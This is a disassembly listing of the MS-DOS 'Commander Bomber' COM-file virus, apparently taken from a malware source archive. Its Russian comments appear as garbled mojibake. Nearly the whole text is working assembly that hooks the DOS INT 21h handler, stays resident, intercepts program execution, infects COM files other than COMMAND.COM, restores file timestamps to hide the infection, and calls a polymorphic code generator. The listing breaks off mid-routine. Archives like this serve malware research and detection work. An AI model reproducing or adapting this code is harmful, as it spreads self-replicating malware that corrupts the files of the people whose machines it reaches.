MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.bomb.lst
2021-01-12 17:31:39 -06:00

2039 lines
163 KiB
Plaintext
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

;==============================================================================
; VIRUS : CommnaderBomber (RC-4096)
;==============================================================================
COMMENT *
‚¨àãá ¯®à ¦ ¥â ä ©«ë ⨯  COM ¯à¨ § ¯ã᪥ ­  ¢ë¯®«­¥­¨¥ (DOS func 4Bh). ‚¨-
àãá ­¥ § à ¦ ¥â ä ©« COMMAND.COM. COM-ä®à¬ â ®¯à¥¤¥«ï¥âáï ¯® ®âáãâá¢¨î ¯®¤¯¨á¨
"MZ" ¨«¨ "ZM" ¢ ­ ç «¥ ä ©« .
‚¨àãá ­¥ ¨á¯®«ì§ã¥â ­¨ª ª¨å ¢ë¤ îé¨åáï  «£®à¨â¬®¢ ¯à¨ § à ¦¥­¨¨ ®¯¥à â¨¢­®©
¯ ¬ïâ¨. Ž­ áâ ­®¢¨âáï १¨¤¥­â­ë¬ ¨á¯®à«ì§ãï áâ ­¤ àâ­ãî äã­ªæ¨î 31h (TSR) ®¯¥-
à æ¨®­­®© á¨á⥬ë. Žç¥¢¨¤­®, çâ®  ¢â®à ­¥ ¯ëâ «áï ॠ«¨§®¢ âì ­¨ç¥£® ­®¢®£® ¢
¯« ­¥ § å¢ â  ¯ ¬ïâ¨. ‚¨àãá ¨á¯®«ì§ã¥â áâ ­¤ àâ­ë¥ ä㭪樨 ¨ ¥£® ®¡¥§¢à¥¦¨¢ ­¨¥
¢ ¯ ¬ï⨠­¥ ¯à¥¤áâ ¢«ï¥â ª ª¨å-«¨¡® á«®¦­®á⥩. ‘¢®¥ ¯à¨áãâá⢨¥ ¢ ¯ ¬ï⨠¢¨àãá
®¯à¥¤¥«ï¥â ¯® ­¥áãé¥áâ¢ãî饩 ä㭪樨 DOS (func 424Fh). <20>ਠí⮬ ¢ ª ç¥âᢥ ¯ -
à®«ï ¯à¨¬¯¥­ï¥âáï ¯¥à¢ë© á«®£ "BO",   ¢ ª ç¥á⢥ ®â¢¥â  - ¢â®à®© á«®£ "MB" á«®-
¢  "BOMB".
‚¨àãá à ¡®â®á¯®á®¡¥­ ⮫쪮 ¢ MS-DOS ¢¥àᨨ 3.0 ¨ ¢ëè¥.
‚¨àãá ­¥ ¯à®áâ ¢«ï¥â ­¨ª ª¨å ¯à¨§­ ª®¢ § à ¦¥­­®áâ¨. ‚¬¥áâ® í⮣® ®­ ¨á-
¯®«ì§ã¥â ¤®¢®«ì­® ®à¨£¨­ «ì­ë©  «£®à¨â¬ á ¬®«¥ç¥­¨ï ¯à¨ ¯®¢â®à­®¬ § à ¦¥­¨¨.
¯à¨­æ¨¯¥ ¢®§¬®¦­® ¬­®£®ªà â­®¥ § à ¦¥­¨¥ ¯à®£à ¬¬ë-­®á¨â¥«ï. Ž¤­ ª® í⮣® ­¥
¯à®¨á室¨â. Š ¦¤ë© à § ¯à¨ § ¯ã᪥ § à ¦¥­­®© ¯à®£à ¬¬ë ¢¨àãá ¯¥à¥§ ¯¨á뢠¥â
⥫® ¯à®£à ¬¬ë ¢ ⮬ ¢¨¤¥, ª®â®àë© ®­  ¨¬¥«  ¢ ¬®¬¥­â ¯®à ¦¥­¨ï ¥¥ í⮩ ª®¯¨¥©
¢¨àãá . <20>ਠí⮬ ¯à®¨á室¨â ®âᥪ ­¨¥ ¢á¥£® «¨è­¥£®. .¥. ¯à¨ § ¯ã᪥ ¬­®£®-
ªà â­® § à ¦¥­­®© ¯à®£à ¬¬ë ª ¦¤ ï ¯®á«¥¤ãîé ï ª®¯¨ï ¢¨àãá  ¡ã¤¥â ®âᥪ âì ¯à¥-
¤ë¤ãéãî. <20>  ¯à ªâ¨ª¥ íâ® ¢ë£«ë¤¨â â ª: § ¯ã᪠¥¬ ï § à ¦¥­­ ï ¯à®£à ¬¬  ¯à¨ à¥-
§¨¤¥­â­®¬ ¢¨àãᥠ¥é¥ à § § à ¦ ¥âáï,   ¯®á«¥ 类¡ë ¯¥à¥¤ ç¨ ã¯à ¢«¥­¨ï ¯à®£à ¬-
¬¥-­®á¨â¥«î ¢â®à ï ⮫쪮 çâ® ¯à¨æ¥¯¨¢é ïáï ª®¯¨ï ¢¨àãá  ®âᥪ ¥âáï ¯¥à¢®© ª®-
¯¨¥©. ’ ª¨¬ ®¡à §®¬, § à §¨¢ ä ©«, ¢¨àãá áâ ­®¢¨âáï áâà ¦¥¬ ­ ¤ í⨬ ä ©«®¬ -
­¥ ¯à®¯ã᪠¥â ­¨ ᢮¨å ᮡà â쥢, ­¨ ª ª®© «¨¡® ¤à㣮© ¢¨àãá. <20>®¤®¡­ë¥ ¤¥©á⢨ï
¢¥á쬠 § ¬¥¤«ïîâ à ¡®âã ¢¨àãá , ®á®¡¥­­®, ¥á«¨ ¯®«ì§®¢ âìáï ¤¨áª¥â ¬¨. ’ ª ª ª
¬­®£®ªà â­ ï § ¯¨áì ­  ¤¨áª ¢ ¬®¬¥­â § ¯ã᪠ § à ¦¥­­ëå ¯à®£à ¬¬ ¡ã¤¥â ¢¥á쬠
§ ¬¥â­  ¤«ï ¯®«ì§®¢ â¥«ï.
Žá­®¢­ ï ¨§î¬¨­ª  ¯à¥¤áâ ¢«¥­­®£® ¢¨àãá  - íâ® ¯®«¨¬®àä­ë© £¥­¥à â®à, ª®-
â®àë© ï¢«ï¥âáï ¢¥á쬠 ®à¨£¨­ «ì­ë¬, ¯®áª®«ìªã ¨á¯®«ì§ã¥â ¯®ç⨠¢á¥ ª®¬ ­¤ë ¯à®-
æ¥áá®à  i8086.
‘«¥¤ã¥â ®â¬¥â¨âì, ç⮠ᮧ¤ ¢ ¥¬ë© ¯®«¨¬®àä­ë© ª®¤ ¥áâì ­ ¡®à®¬ ᮢ¥à襭­®
¡¥áá¬ëá«¥­­ëå ª®¬ ­¤, ¯à¥¤áâ ¢«ïîé¨å ᮡ®© ᢮¥®¡à §­ë© § ¡®à ¯à¥¤ á¬ëá«®¢ë¬
ª®¤®¬. „«ï ¯à®áâ®âë ¡ã¤¥¬ ­ §ë¢ âì â ª®© § ¡®à "¯®«¨¬®àä­ë¬ ¬ãá®à®¬".
‚¨àãá â ª¦¥ ¯à¨¬¥ç â¥«¥­ ⥬, çâ® ¢ ­¥¬ ¢¯¥à¢ë¥ ¯à¨¬¥­¥­  «£®à¨â¬ "®¯¯«¥¢ë-
¢ ­¨ï" ä ©« , â.¥. ¢¨àãá ä®à¬¨àã¥â ¢ ⥫¥ § à ¦ ¥¬®© ¯à®£à ¬¬ë ®â¤¥«ì­ë¥ ãç áâ-
ª¨ ª®¤ , ª®â®àë¥ ¨­â¥­á¨¢­® ¢§ ¨¬®¤¥©áâ¢ãîâ ¬¥¦¤ã ᮡ®© ¯®á।á⢮¬ ª®¬ ­¤ ¯¥-
। ç¨ ã¯à ¢«¥­¨ï CALL, JMP, RET. <20>ਠí⮬ ãç á⪨ ª®¤  à á¯®« £ îâáï ¯® ¢á¥©
¯à®£à ¬¬¥ ¢ á ¬ëå à §­ëå ¬¥áâ å ¨ á ¬®© à §­®© ¤«¨­ë.
„«ï ®âá«¥¦¨¢ ­¨ï ¢á¥å ª®¬ ­¤ ¯¥à¥¤ ç¨ ã¯à ¢«¥­¨ï ¢¨àãá ¤®¢®«ì­® ¨­â¥­á¨¢­®
¨á¯®«ì§ã¥â á⥪®¢ãî ¯ ¬ïâì (ª ª HEAP ®¡« áâì), ä®à¬¨àãï ¢ ­¥© ¤¢  ¤¨­ ¬¨ç¥áª¨å
¬ áᨢ .
*
in_reg equ 00000010b ; ¯¥à¥á뫪  ¢ ॣ¨áâà
out_reg equ 00000000b ; ¯¥à¥á뫪  ¨§ ॣ¨áâà 
BY_BYTE equ 00000000b ; ®¡¬¥­ ¡ ©â ¬¨
BY_WORD equ 00000001b ; ®¡¬¥­ á«®¢ ¬¨
SEG_REGs equ 00011000b ; ¬ áª  ᥣ¬¥­â­ëå ॣ¨áâ஢
dop macro Operation,Direction
db Operation or Direction
dop endm
seg_a segment byte public use16
assume cs:seg_a, ds:seg_a
org 100h
Start label near
0100 Vir_start:
0100 33 E4 xor sp,sp ; Žà£ ­¨§ã¥¬ á⥪ ­  ¢¥à設¥ ᥣ¬¥­â 
0102 FB sti ; Enable interrupts
0103 E8 0074 call sub_017A
;----------------------------------------------------------------------------------------------------------
0106 .43 4F 4D 4D 41 4E Copyright db 'COMMANDER BOMBER WAS HERE'
010C 44 45 52 20 42 4F
0112 4D 42 45 52 20 57
0118 41 53 20 48 45 52
011E 45
;----------------------------------------------------------------------------------------------------------
011F loc_011F:
;--------------- ¯¥à¥å¢ â ¯à¥à뢠­¨ï INT 21h ---------------
011F B8 3521 mov ax,3521h
0122 CD 21 int 21h ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
0124 89 1E 0235 mov ds:data_0235,bx
0128 8C 06 0237 mov ds:data_0237,es
012C .BA 022A mov dx,offset sub_022A
012F B4 25 mov ah,25h
0131 CD 21 int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
0133 E8 0942 call RANDOMIZE ; ­ áâனª  £¥­¥à â®à 
;--------------- ®á¢®¡®¤¨âì ®ªà㦥­¨¥ ----------------------
0136 8E 1E 002C mov ds,ds:[002Ch]
013A 8B D5 mov dx,bp
013C 1E push ds
013D 07 pop es ; ES = DS
013E B4 49 mov ah,49h
0140 CD 21 int 21h ; DOS Services ah=function 49h
; release memory block, es=seg
;--------------- ¯¥à¥à §¬¥â¨âì ¡«®ª ¯ ¬ï⨠-----------------
0142 0E push cs
0143 07 pop es
0144 BB 00AC mov bx,(Vir_END - Vir_Start + 0100h) / 16
0147 B4 4A mov ah,4Ah
0149 CD 21 int 21h ; DOS Services ah=function 4Ah
; change memory allocation
; bx=bytes/16, es=mem segment
;--------------- § ¯ãáâ¨âì ---------------------------------
014B .BB 016C mov bx,offset data_016C
014E 26: 8C 47 04 mov es:[bx+4],es
0152 26: 8C 47 08 mov es:[bx+8],es
0156 26: 8C 47 0C mov es:[bx+0Ch],es
015A B8 4B00 mov ax,4B00h
015D CD 21 int 21h ; DOS Services ah=function 4Bh
; run progm @ds:dx, parm @es:bx
015F 72 04 jc short loc_0165 ; Jump if carry Set
0161 B4 4D mov ah,4Dh
0163 CD 21 int 21h ; DOS Services ah=function 4Dh
; get return code info in ax
0165 loc_0165:
0165 BA 00AC mov dx,Vir_END / 16
0168 B4 31 mov ah,31h
016A CD 21 int 21h ; DOS Services ah=function 31h
; terminate & stay resident
; al=return code,dx=paragraphs
;----------------------------------------------------------------------------------------------------------
; <20>«®ª ¯ à ¬¥â஢ EXEC
016C 00 data_016C db 0
016D 00 80 00 CC 0F 5C db 00h, 80h, 00h,0CCh, 0Fh, 5Ch
0173 00 CC 0F 6C 00 CC db 00h,0CCh, 0Fh, 6Ch, 00h,0CCh
0179 0F db 0Fh
;==========================================================================
sub_017A:
017A FC cld ; Clear direction
017B 5E pop si ; SI = offset Copyright
017C 83 EE 06 sub si,offset Copyright - offset Vir_start
; SI = absolute address base
017F 0E push cs
0180 1F pop ds ; DS = CS
0181 1E push ds
0182 07 pop es ; ES = CS
0183 33 C0 xor ax,ax ; Zero register
; Create small procedure at address 00FCh
;----------------------------
; 00FC F3 repz
; 00FD A5 movsw ; Movsb ds:[si] to es:[di]
; 00FE EB 1F jmp loc_011F
;----------------------------
0185 BF 00FC mov di,offset start - 4
0188 50 push ax
0189 57 push di
018A B8 A5F3 mov ax,0A5F3h
018D AB stosw ; Store ax to es:[di]
; di=di+2, di=00FEh
018E B8 1FEB mov ax,1FEBh
0191 AB stosw ; Store ax to es:[di]
; di=di+2, di=0100h
; -------------- ¯à®¢¥àª  ¢¥àᨨ DOS ------------
; ¯®¤ DOS ¢¥àᨨ ¬¥èìè¥ ç¥¬ 3.x ¢¨àãá ­¥ à ¡®â ¥â
0192 B4 30 mov ah,30h
0194 CD 21 int 21h ; DOS Services ah=function 30h
; get DOS version number ax
0196 3C 03 cmp al,3
0198 72 5D jb short loc_01F7 ; Jump if below
; …᫨ ¢¥àá¨ï DOS 3.x+ â® ¢ ª®¯¨¨ á¨á⥬­®£® ®ªà㦥­¨ï ¥áâì áâப 
; á ¯®«­ë¬ ¨¬¥­¥¬ ä ©« . ˆé¥¬ íâ® ¯®«­®¥ ¨¬ï
019A 56 push si
019B 33 F6 xor si,si
019D 8E 5C 2C mov ds,[si+2Ch] ; DS = DOS environ segment
01A0 loc_01A0:
01A0 AD lodsw ; String [si] to ax
01A1 4E dec si
01A2 0B C0 or ax,ax ; Zero ?
01A4 75 FA jnz loc_01A0 ; Jump if not 00
01A6 8D 6C 03 lea bp,[si+3] ; DS:BP - ¯®«­®¥ ¨¬ï ¯à®£à ¬¬ë
01A9 5E pop si
; -------------- ¯à®¢¥àª  १¨¤¥­â  ¯ à®«¥¬ ç¥à¥§ INT 21h --------
; ¨á¯®«ì§ã¥âáï äã­ªæ¨ï 42h á ­¥áãé¥áâ¢ãî騬 ¬¥â®¤®¬ ãáâ ­®¢ª¨ 4Fh
01AA B8 424F mov ax,'BO'
01AD CD 21 int 21h ; DOS Services ah=function 42h
01AF 3D 4D42 cmp ax,'MB'
; …᫨ ¢¨àãá १¨¤¥­â¥­, â® ­¥â ­¨ª -
; ª®£® á¬ëá«  ¢ ¢®ááâ ­®¢«¥­¨¨ ¯à®£-
; à ¬¬ë-­®á¨â¥«ï, ­ã¦­®  ªâ¨¢¨§¨à®-
; ¢ âì ¢¨àãá (¢á¥ ¡à®á ¥¬ ¨ ¢¯¥à¥¤
; ­   ªâ¨¢¨§ æ¨î ¢¨àãá )
01B2 75 62 jne short loc_0216 ; Jump if not TSR virus
; -------------- ®âªàëâì ¯à®£à ¬¬ã-­®á¨â¥«ì ----------------------
01B4 8B D5 mov dx,bp
01B6 B8 3D02 mov ax,3D02h
01B9 CD 21 int 21h ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
01BB 06 push es
01BC 1F pop ds ; DS = ES
01BD 72 38 jc short loc_01F7 ; Jump if CF=1 (â.¥. § é¨â  ®â
; § ¯¨á¨)
01BF 93 xchg bx,ax
; á®åà ­¨âì ¤ âã ¨ ¢à¥¬ï ᮧ¤ ­¨ï ¯à®£à ¬¬ë-­®á¨â¥«ï
01C0 B8 5700 mov ax,5700h
01C3 CD 21 int 21h ; DOS Services ah=function 57h
; get file date+time, bx=handle
; returns cx=time, dx=time
01C5 72 2C jc short loc_01F3 ; Jump if CF=1
; --------------------------------------------------------------------
; * ‚®ááâ ­®¢¨âì ®¡à § ¯ ¬ï⨠¨§ MEM-¡«®ª  *
; --------------------------------------------------------------------
; ‡ ¤ ç  á«¥¤ãî饣® ª®¤  á®á⮨⠢ ¢®ááâ ­®¢«¥­¨¨ ®¡à §  ¯ ¬ï⨠¤® ¥£®
; ­ ç «ì­®£® ¢¨¤  ¯¥à¥¤ § ¯ã᪮¬. .ª. ¯®ª  ¯à®æ¥áá®à ¯à®å®¤¨« ç¥à¥§
; ¯®«¨¬®àä­ë© "¬ãá®à" ª ⥫㠢¨àãá  á®¤¥à¦¨¬®¥ ï祥ª ¯ ¬ïâ¨, ª®â®àë¥
; ¡ë«¨ ¢ë¤¥«¥­ë ¯®¤ ¬®¤¨ä¨ª æ¨î, ¡ë«® ¨§¬¥­¥­®. ‚®ááâ ­®¢«¥­¨¥ ¬®¤¨-
; ä¨æ¨à®¢ ­­ëå ï祥ª ¯à®¢®¤¨âáï ¯® § ¯¨áï¬ ¢ MEM-¡«®ª¥.
; ”®à¬ â MEM-¡«®ª  : dw  ¤à¥á, dw ᮤ¥à¦¨¬®¥, dw  ¤à¥á, dw ᮤ¥à¦¨¬®¥
; ¨ â.¤.
; --------------------------------------------------------------------
01C7 52 push dx
01C8 51 push cx
01C9 56 push si
01CA 81 C6 09C0 add si,Vir_END - Vir_start ; SI = 㪠§ â¥«ì ­  MEM-¡«®ª
01CE loc_01CE:
01CE AD lodsw ; String [si] to ax
01CF FE C4 inc ah ; ¯à¨¡ ¢¨âì 0100h
01D1 74 04 jz short loc_01D7 ; Jump if Mark-end
01D3 97 xchg di,ax
01D4 A5 movsw ; Mov [si] to es:[di]
01D5 EB F7 jmp short loc_01CE
01D7 loc_01D7:
01D7 5E pop si
;--------------- ¯¥à¥§ ¯¨á âì ⥫® § à ¦¥­­®© ¯à®£à ¬¬ë -------
01D8 BA 0100 mov dx,100h
01DB B9 1000 mov cx,1000h
01DE 03 8C 0110 add cx,offset OriginalFileSize - Vir_start [si]
01E2 B4 40 mov ah,40h
01E4 CD 21 int 21h ; DOS Services ah=function 40h
; write file bx=file handle
; cx=bytes from ds:dx buffer
;--------------- Ž¡à¥§ª  «¨è­¥£® (®â¡à®á¨âì ¢â®àãî ª®¯¨î) --------
01E6 33 C9 xor cx,cx ; Zero register
01E8 B4 40 mov ah,40h
01EA CD 21 int 21h ; DOS Services ah=function 40h
; write file bx=file handle
; cx=bytes from ds:dx buffer
01EC 59 pop cx
01ED 5A pop dx
; ¢®ááâ ­®¢¨âì ¤ âã ¨ ¢à¥¬ï ᮧ¤ ­¨ï ¯à®£à ¬¬ë-­®á¨â¥«ï
01EE B8 5701 mov ax,5701h
01F1 CD 21 int 21h ; DOS Services ah=function 57h
; set file date+time, bx=handle
; cx=time, dx=time
01F3 loc_01F3:
; -------------- § ªàëâì § à ¦¥­­ãî ¯à®£à ¬¬ã
01F3 B4 3E mov ah,3Eh
01F5 CD 21 int 21h ; DOS Services ah=function 3Eh
; close file, bx=file handle
01F7 loc_01F7:
01F7 C6 06 00FF 00 mov byte ptr ds:[00FFh],0 ; <20>ਠ१¨¤¥­â­®¬ ¢¨àãᥠ­ã¦­®
; § ¯ã᪠âì ¯à®£à ¬¬ã ­®á¨â¥«ì
; -------------------------------------------------------------------------
; * Ž<E28099>Žˆœ ¢ ¯ ¬ï⨠¯à®£à ¬¬ã-­®á¨â¥«ì ¯® ¨­ä®à¬ æ¨¨ ¢ ˆ<>”Ž-¡«®ª¥ *
; -------------------------------------------------------------------------
01FC 56 push si
01FD 81 C6 0BC0 add si,Vir_END - Vir_start + 0200h
0201 loc_0201:
0201 AD lodsw ; String [si] to ax
0202 8B C8 mov cx,ax
0204 E3 08 jcxz short loc_020E ; Jump if cx=0
0206 AD lodsw ; String [si] to ax
0207 FE C4 inc ah
0209 97 xchg di,ax
020A F3/ A4 rep movsb ; Rep when cx >0 Mov [si] to es:[di]
020C EB F3 jmp short loc_0201
020E loc_020E:
020E 5F pop di ; ¢¨àãá ª®¯¨àã¥âáï á ¬ ­  ᥡï
020F BE 3000 mov si,1111h ; à §¬¥à ä ©« -­®á¨â¥«ï ¤® § à ¦¥­¨ï
OriginalFileSize = word ptr $ - 2
0212 81 C6 0100 add si,offset start ; COM ¯à®£à ¬¬ë á  ¤à¥á  0100h
0216 loc_0216:
0216 B9 0800 mov cx,4096 / 2 ; à §¬¥à ¢¨àãá  ¢ á«®¢ å
0219 06 push es
021A 1F pop ds ; DS = ES
021B C3 retn
;==========================================================================
; —⥭¨¥ ¨§ ä ©«  ¯®  ¤à¥áã ES:0000
;==========================================================================
sub_021C proc near
021C 33 D2 xor dx,dx ; DX = 0000
021E B9 EF00 mov cx,0EF00h ; ª®«¨ç¥á⢮ ¡ ©â ¤«ï ç⥭¨ï
; (¬ áª¨¬ «ì­®)
0221 B4 3F mov ah,3Fh
;==========================================================================
; Œ®¤¥«¨à㥬 ¢ë§®¢ ®à¨£¨­ «ì­®£® ¤¨á¯¥ç¥à  DOS
;==========================================================================
DOS_func:
0223 9C pushf ; Push flags
0224 FA cli ; Disable interrupts
0225 0E E8 000B callf sub_0234
0229 C3 retn
sub_021C endp
;==========================================================================
; ‚¨àãá­ë© ®¡à ¡®â稪 ¤¨á¯¥ç¥à  DOS (INT 21h)
;==========================================================================
sub_022A proc far
022A 3D 4B00 cmp ax,4B00h
022D 74 0E je short loc_023D ; Jump if equal
022F 3D 424F cmp ax,'BO'
0232 74 05 je short loc_0239 ; Jump if equal
;==========================================================================
; <20>¥à¥¤ ç  ã¯à ¢«¥­¨ï ®à¨£¨­ «ì­®¬ã INT 21h
;==========================================================================
sub_0234 proc far
0234 EA db 0EAh ;jmp far ptr 0:0
0235 0042 data_0235 dw ?
0237 DCB6 data_0237 dw ?
sub_0234 endp
;==========================================================================
0239 loc_0239:
0239 B8 4D42 mov ax,'MB' ; ®â¢¥â ­  ¯ à®«ì
023C CF iret ; Interrupt return
023D loc_023D:
023D 2E: 8C 16 0324 mov cs:Save_SS,ss
0242 2E: 89 26 0329 mov cs:Save_SP,sp ; á®åà ­¨âì 㪠§ â¥«ì á⥪ 
0247 FA cli ; Disable interrupts
0248 8C C8 mov ax,cs
024A 8E D0 mov ss,ax
024C BC 0100 mov sp,offset Start ; ®à£ ­¨§®¢ âì á⥪ ­  ¬¥áâ¥
; PSP
024F FB sti ; Enable interrupts
0250 06 push es
0251 1E push ds
0252 55 push bp
0253 57 push di
0254 56 push si
0255 52 push dx
0256 51 push cx
0257 53 push bx
0258 FC cld ; Clear direction
0259 8B F2 mov si,dx ; DS:DX - ¨¬ï ¯à®£à ¬¬ë
025B B9 0050 mov cx,50h ; ¤«¨­  ¨¬¥­¨ 80 ᨬ¢®«®¢
025E 8B FE mov di,si
;--------------- ¢ë¤¥«ï¥¬ ¨¬ï ¯à®£à ¬¬ë ---------------------------------------
0260 locloop_0260:
0260 AC lodsb ; String [si] to al
0261 3C 3A cmp al,':'
0263 74 04 je short loc_0269 ; Jump if equal
0265 3C 5C cmp al,'\'
0267 75 02 jne short loc_026B ; Jump if not equal
0269 loc_0269:
0269 8B FE mov di,si
026B loc_026B:
026B 0A C0 or al,al ; Zero ?
026D E0 F1 loopnz locloop_0260 ; Loop if zf=0, cx>0
;--------------- ä ©« á ¨¬¥­¥¬ COMMAND ­¥ § à ¦ ¥âáï
026F 8B F7 mov si,di
0271 BF 0105 mov di,offset Copyright - 1
0274 B1 07 mov cl,7
0276 locloop_0276:
0276 AC lodsb ; String [si] to al
0277 24 DF and al,0DFh ; al = UpCase (al)
0279 47 inc di
027A 2E: 3A 05 cmp al,cs:[di]
027D E1 F7 loopz locloop_0276 ; Loop if zf=1, cx>0
027F 75 09 jnz short loc_028A ; Jump if not zero
0281 AC lodsb ; String [si] to al
0282 0A C0 or al,al ; Zero ?
0284 74 0E jz short loc_0294 ; Jump if yes
0286 3C 2E cmp al,'.'
0288 74 0A je short loc_0294 ; Jump if equal
;--------------- § å¢ â¨âì ¯ ¬ïâì ---------------------------------------
; ’㤠 ¡ã¤¥¬ ª®¯¨à®¢ â¨ì ⥫® ¢¨àãá  ¨ ®à£ ­¨§®¢ë¢ âì ¯à®£à ¬¬­ë¥ ¬ áᨢë
028A loc_028A:
028A BB 1000 mov bx,1000h ; ­ã¦­® 4Š¡ ©â 
028D B4 48 mov ah,48h
028F E8 FF91 call DOS_func
0292 73 03 jnc short loc_0297 ; Jump if carry=0
0294 loc_0294:
0294 E9 0083 jmp loc_031A
;--------------- ¯®«ãç¨âì  âਡãâë ä ©«  ------------------
0297 loc_0297:
0297 8E C0 mov es,ax
0299 B8 4300 mov ax,4300h
029C E8 FF84 call DOS_func
029F 72 74 jc short loc_0315 ; Jump if carry Set
;--------------- á­ïâì ¥á«¨ ­ã¦­®  âਡãâë ----------------
02A1 D1 E9 shr cx,1 ; Shift w/zeros fill
02A3 73 0A jnc short loc_02AF ; Jump if carry=0
02A5 D1 E1 shl cx,1 ; Shift w/zeros fill
02A7 B8 4301 mov ax,4301h
02AA E8 FF76 call DOS_func
02AD 72 66 jc short loc_0315 ; Jump if carry Set
;--------------- ®âªàëâì ä ©« -----------------------------
02AF loc_02AF:
02AF B8 3D02 mov ax,3D02h
02B2 E8 FF6E call DOS_func
02B5 72 5E jc short loc_0315 ; Jump if carry Set
02B7 93 xchg bx,ax
02B8 06 push es
02B9 1F pop ds ; DS = ES
02BA E8 FF5F call sub_021C ; ¯à®ç¨â âì ä ©«
02BD 72 51 jc short loc_0310 ; Jump if carry Set
;--------------- ¯à®¢¥à塞 ª ª®© ¤«¨­ë ä ©« --------------------
02BF 3B C1 cmp ax,cx ; ‘«¨èª®¬ ¡®«ì让
02C1 74 4D je short loc_0310 ; Jump if =
02C3 3D 1400 cmp ax,1400h ; ‘«¨èª®¬ ¬ «¥­ìª¨©
02C6 72 48 jb short loc_0310 ; Jump if <
;===============================================================
;- [!] --------- Ž¡à ¡ â뢠¥¬ ⮫쪮 ä ©«ë ä®à¬ â  COM ---------
;===============================================================
02C8 81 3E 0000 5A4D cmp word ptr ds:[0000],'ZM'
02CE 74 40 je short loc_0310 ; Jump if equal
02D0 81 3E 0000 4D5A cmp word ptr ds:[0000],'MZ'
02D6 74 38 je short loc_0310 ; Jump if equal
;--------------- á®åà ­¨âì ¤ âã ¨ ¢à¥¬ï ᮧ¤ ­¨ï ä ©«  ---------
02D8 50 push ax
02D9 B8 5700 mov ax,5700h
02DC E8 FF44 call DOS_func
02DF 58 pop ax
02E0 72 2E jc short loc_0310 ; Jump if carry Set
02E2 2E: 89 0E 0308 mov cs:data_0308,cx
02E7 2E: 89 16 0305 mov cs:data_0305,dx
;===============================================================
; ‡ ¯ãáâ¨âì ¯à®æ¥¤ãàã £¥­¥à¨àãîéãî ¯®«¨¬®àä­ë© "¬ãá®à"
;===============================================================
02EC 53 push bx
02ED E8 0069 call sub_0359
02F0 5B pop bx
02F1 50 push ax
;--------------- ¯®§¨æ¨®­¨à㥬áï ­  ­ ç «® ä ©«  ---------------
02F2 33 C9 xor cx,cx ; Zero register
02F4 33 D2 xor dx,dx ; Zero register
02F6 B8 4200 mov ax,4200h
02F9 E8 FF27 call DOS_func
02FC 59 pop cx
02FD 72 11 jc short loc_0310 ; Jump if carry Set
;--------------- § ¯¨á뢠¥¬ § à ¦¥­­ë© ä ©« --------------------
02FF B4 40 mov ah,40h
0301 E8 FF1F call DOS_func
;--------------- ¢®ááâ ­®¢¨âì ¤ âã ¨ ¢à¥¬ï ---------------------
0304 BA 1F97 mov dx,1111h
data_0305 = word ptr $ - 2
0307 B9 2B87 mov cx,1111h
data_0308 = word ptr $ - 2
030A B8 5701 mov ax,5701h
030D E8 FF13 call DOS_func
;--------------- § ªàëâì ä ©« ----------------------------------
0310 loc_0310:
0310 B4 3E mov ah,3Eh
0312 E8 FF0E call DOS_func
;--------------- ®á¢®¡®¤¨âì ¯ ¬ïâì -----------------------------
0315 loc_0315:
0315 B4 49 mov ah,49h
0317 E8 FF09 call DOS_func
031A loc_031A: ; Leave virus
031A 5B pop bx
031B 59 pop cx
031C 5A pop dx
031D 5E pop si
031E 5F pop di
031F 5D pop bp
0320 1F pop ds
0321 07 pop es
0322 FA cli ; Disable interrupts
;--------------- ¢®ááâ ­®¢¨âì á⥪ -----------------------------
0323 B8 0FCC mov ax,1111h
Save_SS = word ptr $ - 2
0326 8E D0 mov ss,ax
0328 BC FFF8 mov sp,1111h
Save_SP = word ptr $ - 2
;--------------- ¯à®¤®«¦¨âì à ¡®âã ¤¨á¯¥ç¥à  --------------------
032B B8 4B00 mov ax,4B00h ; äã­ªæ¨ï "‡€<E280A1>ˆœ"
032E E9 FF03 jmp sub_0234 ; ¯¥à¥¤ ç  ã¯à ¢«¥­¨ï ®à¨£¨­ «ì­®¬ã
; ¤¨á¯¥ç¥àã DOS
sub_022A endp
;==========================================================================
; SUBROUTINE
;==========================================================================
RND_0_FF proc near
0331 B8 0100 mov ax,100h
0334 EB 12 jmp short RND_0_AX
0336 B0 40 RND_0_3F: mov al,40h
0338 A9 db 0A9h ; TEST AX,im16
0339 B0 10 RND_0_F: mov al,10h
033B A9 db 0A9h ; TEST AX,im16
033C B0 08 RND_01234567: mov al,8
033E A9 db 0A9h ; TEST AX,im16
033F B0 04 RND_0123: mov al,4
0341 A9 db 0A9h ; TEST AX,im16
0342 B0 03 RND_012: mov al,3
0344 A9 db 0A9h ; TEST AX,im16
0345 B0 02 RND_01: mov al,2
0347 98 cbw ; Convrt byte to word
;==========================================================================
RND_0_AX:
0348 52 push dx
0349 51 push cx
034A 50 push ax
034B E8 073C call RND ; AX = RND
034E 59 pop cx
034F 33 D2 xor dx,dx ; 0:AX
0351 F7 F1 div cx ; ax,dx rem=dx:ax/reg
0353 92 xchg dx,ax ; AX = ®áâ â®ª ®â ¤¥«¥­¨ï
0354 59 pop cx
0355 5A pop dx
0356 0B C0 or ax,ax ; Zero ?
0358 C3 retn
RND_0_FF endp
;==========================================================================
; Žá­®¢­ ï ¯à®æ¥¤ãà  ã¯à ¢«ïîé ï ¯®«¨¬®àä­ë¬ ¬¥å ­¨§¬®¬
; ‚室 : AX = à §¬¥à § à ¦ ¥¬®£® COM-ä ©« 
;==========================================================================
sub_0359 proc near
;------- Ž¯à¥¤¥«ï¥¬ ¢ ä ©«¥ á«ãç ©­ë© ªã᮪ à §¬¥à®¬ 4Š¡ ©â  ---------------
; á®åà ­¨âì à §¬¥à ä ©« -¦¥àâ¢ë
0359 2E: A3 0210 mov cs:OriginalFileSize,ax
035D 8B F8 mov di,ax ; DI - 㪠§ë¢ ¥â ­  ª®­¥æ ä ©« 
; ¢ëç¥áâì 4Š ¨§ à §¬¥à . <20>¥®¡å®¤¨¬® ¤«ï ⮣®, ç⮡ë
; á«ãç ©­ë© ªã᮪ ­¥ ®ª § «áï <20>€ ª®­æ¥ ä ©« ,   ¬ ªá¨¬ã¬
; ª®­æ¥ ä ©« 
